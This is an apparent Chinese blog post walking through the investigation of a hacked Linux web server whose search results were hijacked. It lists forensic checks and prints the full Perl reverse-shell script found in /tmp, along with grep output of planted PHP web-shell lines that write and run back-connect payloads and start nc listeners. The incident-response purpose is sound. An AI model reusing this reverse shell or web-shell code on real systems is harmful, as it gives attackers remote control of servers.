共计 3702 个字符,预计需要花费 10 分钟才能阅读完成。
这篇文章主要介绍 Web 服务器中如何排查病毒,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!
一服务器疑似被挂马,现象是从百度搜该站点,出来的结果大部分为×××网站。
马上登录服务器(半夜好困啊)。执行如下的步骤:
!–[if !supportLists]–
1、 !–[endif]– 检查系统帐号,看有没有异常帐号 – 如冒充系统帐号,改一个字母,看起来像系统帐号,混淆视听。有的家伙狡猾的干活,创建个帐号为“…”极端不易察觉。
!–[if !supportLists]–
2、 !–[endif]– 检查最近登录用户的 ip:last 查看 9 月 9 号以后到目前的情况,经确认,有一个 ip 来路不对。
!–[if !supportLists]–
3、 !–[endif]– 检查系统初始化文件 inittab, 运行级别为 3,为发现异常。一些 hacker 喜欢在这里下手,加上 respawn 这样的行,保证他的程序被杀后自动重启,不屈不挠地抗争系统管理员的绞杀。
!–[if !supportLists]–
4、 !–[endif]– 检查运行级别目录的脚本,ls –al /etc/rc3.d , 未见异常。
!–[if !supportLists]–
5、 !–[endif]– 检查自动任务 crontab –l,root 用户和 web 运行用户 www 各检查一遍,未见任何异常。
!–[if !supportLists]–
6、 !–[endif]– 检查历史记录 history 发现有安装 sendmail 的情形,问客户是否有这个,答:不是自己装的。
!–[if !supportLists]–
7、 !–[endif]– 检查 web 目录,发现其权限为 777,这可让人不太放心了,心中猜想,可能是从这里下手了。
!–[if !supportLists]–
8、 !–[endif]– 检查一下目录 /tmp, 发现有个文件不太对劲,文件名是 spider_bc,打开看一下,是个 perl 脚本,其内容为:
[root@localhost mysql]#
more /tmp/spider_bc
#!/usr/bin/perl
use Socket;
$cmd= lynx
$system= echo `uname -a` echo `id` /bin/sh
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die(Error: $!\n
$paddr=sockaddr_in($port, $iaddr) || die(Error: $!\n
$proto=getprotobyname(tcp
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die(Error: $!\n
connect(SOCKET, $paddr) || die(Error: $!\n
open(STDIN, SOCKET
open(STDOUT, SOCKET
open(STDERR, SOCKET
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
据客户开发人员反应,这文件删除以后,一会又自动生成了。
!–[if !supportLists]–
9、 !–[endif]– 初步怀疑是 hacker 利用 web 权限设置及程序漏洞上传了程序后,自动生成这个文件,于是进入到网站根目录,然后执行 grep –r“spider”* , 片刻,结果出来了,下面节录部分:
[root@localhost www]#
grep spider_bc * -r
/plusbak/viev.
php:
echo File_Write(/tmp/spider_bc ,base64_decode($back_connect_pl), wb ) ? 创建 /tmp/spider_bc 成功 br : 创建 /tmp/spider_bc 失败 br
/plusbak/viev.
php:
echo Exec_Run($perlpath. /tmp/spider_bc .$_POST[ yourip]. .$_POST[yourport]. ) ? nc -l -n -v -p .$_POST[yourport] : 执行命令失败
/plusbak/viev.
php:
echo File_Write(/tmp/spider_bc.c ,base64_decode($back_connect_c), wb ) ? 创建 /tmp/spider_bc.c 成功 br : 创建 /tmp/spider_bc.c 失败 br
/plusbak/viev.
php:
@unlink(/tmp/spider_bc.c
/plusbak/viev.
php:
echo Exec_Run(/tmp/spider_bc .$_POST[ yourip]. .$_POST[yourport]. ) ? nc -l -n -v -p .$_POST[yourport] : 执行命令失败
/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths.
php:
echo File_Write(/tmp/spider_bc ,base64_decode($back_connect_pl), wb ) ? 创建 /tmp/spider_bc 成功 br : 创建 /tmp/spider_bc 失败 br
/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths.
php:
echo Exec_Run($perlpath. /tmp/spider_bc .$_POST[ yourip]. .$_POST[yourport]. ) ? nc -l -n -v -p .$_POST[yourport] : 执行命令失败
/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths.
php:
echo File_Write(/tmp/spider_bc.c ,base64_decode($back_connect_c), wb ) ? 创建 /tmp/spider_bc.c 成功 br : 创建 /tmp/spider_bc.c 失败 br
/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths.
php:
@unlink(/tmp/spider_bc.c
/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths.
php:
echo Exec_Run(/tmp/spider_bc .$_POST[ yourip]. .$_POST[yourport]. ) ? nc -l -n -v -p .$_POST[yourport] : 执行命令失败
/developers/developers/cache/default/index_sql.
php :
echo File_Write(/tmp/spider_bc ,base64_decode($back_connect_pl), wb ) ? 创建 /tmp/spider_bc 成功 br : 创建 /tmp/spider_bc 失败 br
/developers/developers/cache/default/index_sql.
php :
echo Exec_Run($perlpath. /tmp/spider_bc .$_POST[ yourip]. .$_POST[yourport]. ) ? nc -l -n -v -p .$_POST[yourport] : 执行命令失败
/developers/developers/cache/default/index_sql.
php :
echo File_Write(/tmp/spider_bc.c ,base64_decode($back_connect_c), wb ) ? 创建 /tmp/spider_bc.c 成功 br : 创建 /tmp/spider_bc.c 失败 br
/developers/developers/cache/default/index_sql.
php :
@unlink(/tmp/spider_bc.c
/developers/developers/cache/default/index_sql.
php :
echo Exec_Run(/tmp/spider_bc .$_POST[ yourip]. .$_POST[yourport]. ) ? nc -l -n -v -p .$_POST[yourport] : 执行命令失败
以上是“Web 服务器中如何排查病毒”这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注丸趣 TV 行业资讯频道!